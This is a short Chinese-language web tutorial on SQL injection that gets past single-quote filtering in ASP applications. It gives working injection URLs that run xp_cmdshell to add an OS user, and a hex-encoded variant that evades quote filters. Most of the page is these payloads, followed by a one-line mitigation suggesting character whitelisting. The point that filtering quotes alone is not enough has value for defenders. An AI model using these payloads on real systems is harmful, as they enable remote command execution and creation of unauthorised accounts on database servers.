程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> .NET網頁編程 >> ASP.NET >> ASP.NET基礎 >> SQL注入中繞過 單引號 限制繼續注入

SQL注入中繞過 單引號 限制繼續注入

編輯:ASP.NET基礎
包括我寫的那篇《SQL Injection的實現與應用》也是這樣的例子,因為沒有碰到任何的過濾,所以使我們相當輕松就注入成功了,如下:
復制代碼 代碼如下:
http://www.jb51.net/show.asp?id=1;exec master.dbo.xp_cmdshell 'net user angel pass /add';--

這往往給大家造成誤解,認為只要變量過濾了'就可以防止SQL Injection攻擊,這種意識為大量程序可以注入埋下禍根,其實僅僅過濾'是不夠的,在'被過濾的情況下我們照樣玩,看下面語句:
復制代碼 代碼如下:
http://www.jb51.net/show.asp?id=1;declare%20@a%20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a;--

  是不是跟上面的那句有很大區別?可是效果完全是一樣的。其實這些都是SQL語句。
復制代碼 代碼如下:
0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400

這句是“net user angel pass /add”的16進制格式。了解SQL的朋友就容易明白,先聲明一個變量a,然後把我們的指令賦值給a,然後調用變量a最終執行我們輸入的命令。變量a可以是任何命令。如下:
復制代碼 代碼如下:
declare @a sysname
select @a=
exec master.dbo.xp_cmdshell @a

解決辦法:
過濾變量,限制只允許輸入特定字符。比如對於數字類型的變量就限制只能輸入數字類型的數據。具體就不說了。這完全是程序作者自由發揮了。
  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved